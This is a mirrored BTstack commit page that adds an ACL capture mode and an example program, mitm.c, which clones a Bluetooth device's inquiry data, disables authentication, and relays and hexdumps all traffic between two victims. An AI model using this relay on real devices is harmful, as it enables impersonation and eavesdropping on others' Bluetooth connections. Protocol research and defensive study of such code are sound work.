mirror of
https://github.com/bluekitchen/btstack.git
synced 2025-03-26 20:37:19 +00:00
added capture mode to get all ACL packets from client app, started BTstack Man-in-the-Middle implementation
This commit is contained in:
parent
c1f4fa9737
commit
9edc874259
4
TODO.txt
4
TODO.txt
@ -5,8 +5,8 @@ Last milestone reached: Restart client app without restarting BTdaemon possible
|
||||
NEXT:
|
||||
- autostart by launchd: ch.ringwald.BTstack.plist
|
||||
- get it to work on iPhone
|
||||
- launchd check in neccessary?
|
||||
- set path for stdout
|
||||
- read kevent docu in chapter 9
|
||||
- follow Mac OS X Interal exampe of using kevent to accept connections
|
||||
- better deal with Apple stack
|
||||
- detect if it is running
|
||||
- figure out how to shut it down
|
||||
|
@ -1,4 +1,5 @@
|
||||
bin_PROGRAMS = test
|
||||
bin_PROGRAMS = test mitm
|
||||
|
||||
test_SOURCES = test.c \
|
||||
../src/btstack.c \
|
||||
../src/hci_cmds.c \
|
||||
@ -6,3 +7,11 @@ test_SOURCES = test.c \
|
||||
../src/run_loop.c \
|
||||
../src/socket_connection.c \
|
||||
../src/utils.c
|
||||
|
||||
mitm_SOURCES = mitm.c \
|
||||
../src/btstack.c \
|
||||
../src/hci_cmds.c \
|
||||
../src/linked_list.c \
|
||||
../src/run_loop.c \
|
||||
../src/socket_connection.c \
|
||||
../src/utils.c
|
||||
|
181
example/mitm.c
Normal file
181
example/mitm.c
Normal file
@ -0,0 +1,181 @@
|
||||
/*
|
||||
* test.c
|
||||
*
|
||||
* Created by Matthias Ringwald on 7/14/09.
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
|
||||
#include "../src/btstack.h"
|
||||
#include "../src/run_loop.h"
|
||||
#include "../src/hci.h"
|
||||
|
||||
#define EIR_LEN 240
|
||||
|
||||
bd_addr_t addr;
|
||||
bd_addr_t temp_addr;
|
||||
|
||||
uint8_t got_EIR = 0;
|
||||
uint8_t bob_EIR[EIR_LEN];
|
||||
hci_con_handle_t bob_handle = 0;
|
||||
hci_con_handle_t alice_handle = 0;
|
||||
uint16_t clock_offset;
|
||||
uint8_t page_scan_repetition_mode;
|
||||
uint8_t inquiry_done = 0;
|
||||
hci_con_handle_t con_handle;
|
||||
uint16_t source_cid_interrupt;
|
||||
uint16_t source_cid_control;
|
||||
|
||||
void data_handler(uint8_t *packet, uint16_t size){
|
||||
hci_con_handle_t in = READ_ACL_CONNECTION_HANDLE(packet);
|
||||
hci_con_handle_t out = 0;
|
||||
if (in == alice_handle) {
|
||||
printf("Alice: ");
|
||||
hexdump( packet, size );
|
||||
printf("\n\n");
|
||||
out = bob_handle;
|
||||
}
|
||||
if (in == bob_handle) {
|
||||
printf("Bob: ");
|
||||
hexdump( packet, size );
|
||||
printf("\n\n");
|
||||
out = alice_handle;
|
||||
}
|
||||
if (out){
|
||||
bt_store_16( packet, 0, (READ_BT_16(packet, 0) & 0xf000) | out);
|
||||
bt_send_acl_packet(packet, size);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void event_handler(uint8_t *packet, uint16_t size){
|
||||
|
||||
// bt stack activated, get started - set local name
|
||||
if (packet[0] == HCI_EVENT_BTSTACK_WORKING ||
|
||||
(packet[0] == HCI_EVENT_BTSTACK_STATE && packet[2] == HCI_STATE_WORKING)) {
|
||||
bt_send_cmd(&hci_write_local_name, "BTstack-in-the-Middle");
|
||||
}
|
||||
|
||||
// use pairing yes/no
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) {
|
||||
bt_send_cmd(&hci_write_authentication_enable, 0);
|
||||
}
|
||||
|
||||
// allow Extended Inquiry responses
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_authentication_enable) ) {
|
||||
bt_send_cmd(&hci_write_inquiry_mode, 2);
|
||||
}
|
||||
|
||||
// get all events, including EIRs
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_inquiry_mode) ) {
|
||||
bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff);
|
||||
}
|
||||
|
||||
|
||||
// start inquiry
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) {
|
||||
// enable capure
|
||||
bt_send_cmd(&btstack_set_acl_capture_mode, 1);
|
||||
|
||||
printf("Starting inquiry to get EIR from BOB\n");
|
||||
bt_send_cmd(&hci_inquiry, HCI_INQUIRY_LAP, 15, 0);
|
||||
}
|
||||
|
||||
// process EIR responses
|
||||
if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !got_EIR) {
|
||||
printf("Got EIR from BOB\n");
|
||||
memcpy(bob_EIR, &packet[17], EIR_LEN);
|
||||
got_EIR = 1;
|
||||
clock_offset = READ_BT_16(packet, 14);
|
||||
page_scan_repetition_mode = packet[9];
|
||||
// stop inquiry
|
||||
bt_send_cmd(&hci_inquiry_cancel);
|
||||
}
|
||||
|
||||
// Inquiry done, set EIR
|
||||
if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){
|
||||
if (!inquiry_done){
|
||||
inquiry_done = 1;
|
||||
printf("Inquiry Complete, got EIR %u\n", got_EIR);
|
||||
if (got_EIR){
|
||||
printf("Set own EIR to Bob's.\n");
|
||||
bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Connect to BOB
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) {
|
||||
printf("Now start Alice!...\n");
|
||||
// bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
|
||||
}
|
||||
|
||||
// accept incoming connections
|
||||
if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){
|
||||
printf("Connection request from ");
|
||||
bt_flip_addr(temp_addr, &packet[2]);
|
||||
print_bd_addr(temp_addr);
|
||||
printf("\n");
|
||||
bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
|
||||
}
|
||||
|
||||
// handle connections
|
||||
if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) {
|
||||
if (packet[2] == 0){
|
||||
if (!alice_handle) {
|
||||
alice_handle = READ_BT_16(packet, 3);
|
||||
printf("Alice connected (handle %u). Connecting BOB!\n", alice_handle);
|
||||
bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
|
||||
} else {
|
||||
bob_handle = READ_BT_16(packet, 3);
|
||||
printf("Connected to BOB (handle %u). Relayaing data!\n", bob_handle);
|
||||
}
|
||||
} else {
|
||||
printf("Connection complete status %u\n", packet[2]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// inform about pin code request
|
||||
if (packet[0] == HCI_EVENT_PIN_CODE_REQUEST){
|
||||
printf("Please enter PIN 1234 on remote device\n");
|
||||
}
|
||||
|
||||
// connection closed -> quit tes app
|
||||
if (packet[0] == HCI_EVENT_DISCONNECTION_COMPLETE) {
|
||||
printf("Basebank connection closed, exit.\n");
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
int main (int argc, const char * argv[]){
|
||||
// parse addr of Bob
|
||||
uint8_t ok = 0;
|
||||
if (argc >= 2) {
|
||||
ok = sscan_bd_addr((uint8_t *) argv[1], addr);
|
||||
}
|
||||
if (!ok) {
|
||||
printf("Usage: mitm 12:34:56:78:9A:BC\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// start stack
|
||||
int err = bt_open();
|
||||
if (err) {
|
||||
printf("Failed to open connection to BTdaemon\n");
|
||||
return err;
|
||||
}
|
||||
|
||||
printf("BTstack-in-the-Middle started, will pretend to be BOB (");
|
||||
print_bd_addr(addr);
|
||||
printf(")\n");
|
||||
|
||||
bt_register_event_packet_handler(event_handler);
|
||||
bt_register_data_packet_handler(data_handler);
|
||||
bt_send_cmd(&btstack_set_power_mode, HCI_POWER_ON );
|
||||
run_loop_execute();
|
||||
bt_close();
|
||||
}
|
@ -14,6 +14,7 @@
|
||||
9C00F86510191097008DAB17 /* utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F86210191097008DAB17 /* utils.c */; };
|
||||
9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F87210191130008DAB17 /* l2cap_signaling.c */; };
|
||||
9C05FC971020D3F300255261 /* socket_connection.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F7301017ACC3008DAB17 /* socket_connection.c */; };
|
||||
9C1813F81042FCCA00C68F09 /* mitm.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1813F71042FCCA00C68F09 /* mitm.c */; };
|
||||
9C1F0E9A0FDAE023008F472F /* run_loop.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1F0E980FDAE023008F472F /* run_loop.c */; };
|
||||
9C2071F310014D3200A07EA4 /* hci_transport_usb.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C2071F210014D3200A07EA4 /* hci_transport_usb.c */; };
|
||||
9C46FC3A0FA906F700ABEF05 /* hci_transport_h4.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C46FC360FA906F700ABEF05 /* hci_transport_h4.c */; };
|
||||
@ -53,6 +54,7 @@
|
||||
9C00F86310191097008DAB17 /* utils.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = utils.h; path = src/utils.h; sourceTree = "<group>"; };
|
||||
9C00F87110191130008DAB17 /* l2cap_signaling.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = l2cap_signaling.h; path = src/l2cap_signaling.h; sourceTree = "<group>"; };
|
||||
9C00F87210191130008DAB17 /* l2cap_signaling.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = l2cap_signaling.c; path = src/l2cap_signaling.c; sourceTree = "<group>"; };
|
||||
9C1813F71042FCCA00C68F09 /* mitm.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = mitm.c; path = example/mitm.c; sourceTree = "<group>"; };
|
||||
9C1F0E980FDAE023008F472F /* run_loop.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = run_loop.c; path = src/run_loop.c; sourceTree = "<group>"; };
|
||||
9C1F0E990FDAE023008F472F /* run_loop.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = run_loop.h; path = src/run_loop.h; sourceTree = "<group>"; };
|
||||
9C2071F210014D3200A07EA4 /* hci_transport_usb.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = hci_transport_usb.c; path = src/hci_transport_usb.c; sourceTree = "<group>"; };
|
||||
@ -182,6 +184,7 @@
|
||||
9C7B5B81100D04520065D87E /* Example */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
9C1813F71042FCCA00C68F09 /* mitm.c */,
|
||||
9C7B5B7E100D04450065D87E /* test.c */,
|
||||
);
|
||||
name = Example;
|
||||
@ -269,6 +272,7 @@
|
||||
9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */,
|
||||
9CCE6CEA1025BD0000FCE9F4 /* hci.c in Sources */,
|
||||
9C6459E01037554B0081A00B /* platform_iphone.m in Sources */,
|
||||
9C1813F81042FCCA00C68F09 /* mitm.c in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
|
@ -61,7 +61,9 @@ int btstack_packet_handler(connection_t *connection, uint16_t packet_type, uint1
|
||||
case HCI_EVENT_PACKET:
|
||||
(*event_packet_handler)(data, size);
|
||||
break;
|
||||
// TODO use different handler, or use packet type parameter
|
||||
case HCI_ACL_DATA_PACKET:
|
||||
case L2CAP_DATA_PACKET:
|
||||
(*acl_packet_handler)(data, size);
|
||||
break;
|
||||
default:
|
||||
@ -87,3 +89,7 @@ void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len){
|
||||
socket_connection_send_packet(btstack_connection, L2CAP_DATA_PACKET, source_cid, data, len);
|
||||
}
|
||||
|
||||
void bt_send_acl_packet(uint8_t * data, uint16_t len){
|
||||
// send
|
||||
socket_connection_send_packet(btstack_connection, HCI_ACL_DATA_PACKET, 0, data, len);
|
||||
}
|
||||
|
@ -27,4 +27,5 @@ int bt_send_cmd(hci_cmd_t *cmd, ...);
|
||||
void bt_register_event_packet_handler(void (*handler)(uint8_t *packet, uint16_t size));
|
||||
void bt_register_data_packet_handler (void (*handler)(uint8_t *packet, uint16_t size));
|
||||
|
||||
void bt_send_acl_packet(uint8_t * data, uint16_t len);
|
||||
void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len);
|
||||
|
12
src/daemon.c
12
src/daemon.c
@ -72,6 +72,13 @@ static int btstack_command_handler(connection_t *connection, uint8_t *packet, ui
|
||||
case HCI_BTSTACK_SET_POWER_MODE:
|
||||
hci_power_control(packet[3]);
|
||||
break;
|
||||
case HCI_BTSTACK_SET_ACL_CAPTURE_MODE:
|
||||
if (packet[3]) {
|
||||
l2cap_set_capture_connection(connection);
|
||||
} else {
|
||||
l2cap_set_capture_connection(NULL);
|
||||
}
|
||||
break;
|
||||
case L2CAP_CREATE_CHANNEL:
|
||||
bt_flip_addr(addr, &packet[3]);
|
||||
psm = READ_BT_16(packet, 9);
|
||||
@ -101,6 +108,9 @@ static int daemon_client_handler(connection_t *connection, uint16_t packet_type,
|
||||
btstack_command_handler(connection, data, length);
|
||||
}
|
||||
break;
|
||||
case HCI_ACL_DATA_PACKET:
|
||||
hci_send_acl_packet(data, length);
|
||||
break;
|
||||
case L2CAP_DATA_PACKET:
|
||||
// process l2cap packet...
|
||||
l2cap_send_internal(channel, data, length);
|
||||
@ -184,7 +194,7 @@ int main (int argc, const char * argv[]){
|
||||
// @TODO: allow configuration per HCI CMD
|
||||
|
||||
// use logger: format HCI_DUMP_PACKETLOGGER, HCI_DUMP_BLUEZ or HCI_DUMP_STDOUT
|
||||
// hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER);
|
||||
hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER);
|
||||
// hci_dump_open(NULL, HCI_DUMP_STDOUT);
|
||||
|
||||
// init HCI
|
||||
|
@ -215,6 +215,11 @@ OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_POWER_MODE), "1"
|
||||
// mode: 0 = off, 1 = on
|
||||
};
|
||||
|
||||
hci_cmd_t btstack_set_acl_capture_mode = {
|
||||
OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_ACL_CAPTURE_MODE), "1"
|
||||
// mode: 0 = off, 1 = on
|
||||
};
|
||||
|
||||
hci_cmd_t l2cap_create_channel = {
|
||||
OPCODE(OGF_BTSTACK, L2CAP_CREATE_CHANNEL), "B2"
|
||||
// @param bd_addr(48), psm (16)
|
||||
|
@ -38,11 +38,14 @@
|
||||
// set power mode: @param HCI_POWER_MODE
|
||||
#define HCI_BTSTACK_SET_POWER_MODE 0x02
|
||||
|
||||
// set capture mode: @param on
|
||||
#define HCI_BTSTACK_SET_ACL_CAPTURE_MODE 0x03
|
||||
|
||||
// create l2cap channel: @param bd_addr(48), psm (16)
|
||||
#define L2CAP_CREATE_CHANNEL 0x03
|
||||
#define L2CAP_CREATE_CHANNEL 0x20
|
||||
|
||||
// disconnect l2cap disconnect, @param channel(16), reason(8)
|
||||
#define L2CAP_DISCONNECT 0x04
|
||||
#define L2CAP_DISCONNECT 0x21
|
||||
|
||||
// Events from host controller to host
|
||||
#define HCI_EVENT_INQUIRY_COMPLETE 0x01
|
||||
@ -74,6 +77,7 @@
|
||||
#define HCI_EVENT_READ_CLOCK_OFFSET_COMPLETE 0x1C
|
||||
#define HCI_EVENT_PACKET_TYPE_CHANGED 0x1D
|
||||
#define HCI_EVENT_INQUIRY_RESULT_WITH_RSSI 0x22
|
||||
#define HCI_EVENT_EXTENDED_INQUIRY_RESPONSE 0x2F
|
||||
#define HCI_EVENT_VENDOR_SPECIFIC 0xFF
|
||||
|
||||
// events from BTstack for application/client lib
|
||||
@ -164,5 +168,6 @@ extern hci_cmd_t hci_write_simple_pairing_mode;
|
||||
// BTSTACK client/server commands - see hci.c for info on parameters
|
||||
extern hci_cmd_t btstack_get_state;
|
||||
extern hci_cmd_t btstack_set_power_mode;
|
||||
extern hci_cmd_t btstack_set_acl_capture_mode;
|
||||
extern hci_cmd_t l2cap_create_channel;
|
||||
extern hci_cmd_t l2cap_disconnect;
|
||||
|
20
src/l2cap.c
20
src/l2cap.c
@ -21,6 +21,7 @@ static linked_list_t l2cap_channels = NULL;
|
||||
static uint8_t * acl_buffer = NULL;
|
||||
static void (*event_packet_handler) (uint8_t *packet, uint16_t size) = null_event_handler;
|
||||
static void (*data_packet_handler) (uint16_t source_cid, uint8_t *packet, uint16_t size) = null_data_handler;
|
||||
static connection_t * capture_connection = NULL;
|
||||
|
||||
void l2cap_init(){
|
||||
sig_buffer = malloc( 48 );
|
||||
@ -152,11 +153,10 @@ void l2cap_event_handler( uint8_t *packet, uint16_t size ){
|
||||
}
|
||||
}
|
||||
if (!used) {
|
||||
hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closd connection
|
||||
hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closed connection
|
||||
}
|
||||
}
|
||||
|
||||
// forward to higher layers
|
||||
(*event_packet_handler)(packet, size);
|
||||
}
|
||||
|
||||
@ -264,6 +264,14 @@ void l2cap_emit_channel_closed(l2cap_channel_t *channel) {
|
||||
|
||||
void l2cap_acl_handler( uint8_t *packet, uint16_t size ){
|
||||
|
||||
// Capturing?
|
||||
if (capture_connection) {
|
||||
socket_connection_send_packet(capture_connection, HCI_ACL_DATA_PACKET, 0, packet, size);
|
||||
}
|
||||
|
||||
// forward to higher layers - not needed yet
|
||||
// (*data_packet_handler)(channel_id, packet, size);
|
||||
|
||||
// Get Channel ID and command code
|
||||
uint16_t channel_id = READ_L2CAP_CHANNEL_ID(packet);
|
||||
uint8_t code = READ_L2CAP_SIGNALING_CODE( packet );
|
||||
@ -307,11 +315,8 @@ void l2cap_acl_handler( uint8_t *packet, uint16_t size ){
|
||||
// Find channel for this channel_id and connection handle
|
||||
l2cap_channel_t * channel = l2cap_get_channel_for_source_cid(channel_id);
|
||||
if (channel) {
|
||||
socket_connection_send_packet(channel->connection, HCI_ACL_DATA_PACKET, 0, packet, size);
|
||||
socket_connection_send_packet(channel->connection, L2CAP_DATA_PACKET, 0, packet, size);
|
||||
}
|
||||
|
||||
// forward to higher layers
|
||||
(*data_packet_handler)(channel_id, packet, size);
|
||||
}
|
||||
|
||||
|
||||
@ -334,4 +339,7 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len){
|
||||
}
|
||||
}
|
||||
|
||||
void l2cap_set_capture_connection(connection_t * connection){
|
||||
capture_connection = connection;
|
||||
}
|
||||
|
||||
|
@ -55,6 +55,8 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len);
|
||||
void l2cap_acl_handler( uint8_t *packet, uint16_t size );
|
||||
void l2cap_event_handler( uint8_t *packet, uint16_t size );
|
||||
|
||||
void l2cap_set_capture_connection(connection_t * connection);
|
||||
|
||||
void l2cap_finialize_channel_close(l2cap_channel_t *channel);
|
||||
void l2cap_close_channels_for_connection(connection_t *connection);
|
||||
|
||||
|
17
src/utils.c
17
src/utils.c
@ -8,6 +8,7 @@
|
||||
|
||||
#include "utils.h"
|
||||
#include <stdio.h>
|
||||
#include <strings.h>
|
||||
|
||||
void bt_store_16(uint8_t *buffer, uint16_t pos, uint16_t value){
|
||||
buffer[pos++] = value;
|
||||
@ -46,3 +47,19 @@ void print_bd_addr( bd_addr_t addr){
|
||||
printf("%02X", ((uint8_t *)addr)[i]);
|
||||
}
|
||||
|
||||
int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr){
|
||||
int bd_addr_buffer[BD_ADDR_LEN]; //for sscanf, integer needed
|
||||
// reset result buffer
|
||||
int i;
|
||||
bzero(bd_addr_buffer, sizeof(bd_addr_buffer));
|
||||
// parse
|
||||
int result = sscanf( (char *) addr_string, "%2x:%2x:%2x:%2x:%2x:%2x", &bd_addr_buffer[0], &bd_addr_buffer[1], &bd_addr_buffer[2],
|
||||
&bd_addr_buffer[3], &bd_addr_buffer[4], &bd_addr_buffer[5]);
|
||||
// store
|
||||
if (result == 6){
|
||||
for (i = 0; i < BD_ADDR_LEN; i++) {
|
||||
addr[i] = (uint8_t) bd_addr_buffer[i];
|
||||
}
|
||||
}
|
||||
return (result == 6);
|
||||
}
|
||||
|
@ -53,7 +53,8 @@ void bt_store_32(uint8_t *buffer, uint16_t pos, uint32_t value);
|
||||
void bt_flip_addr(bd_addr_t dest, bd_addr_t src);
|
||||
|
||||
void hexdump(void *data, int size);
|
||||
void print_bd_addr( bd_addr_t addr);
|
||||
void print_bd_addr(bd_addr_t addr);
|
||||
int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr);
|
||||
|
||||
#define BD_ADDR_CMP(a,b) memcmp(a,b, BD_ADDR_LEN)
|
||||
#define BD_ADDR_COPY(dest,src) memcpy(dest,src,BD_ADDR_LEN)
|
||||
|
Loading…
x
Reference in New Issue
Block a user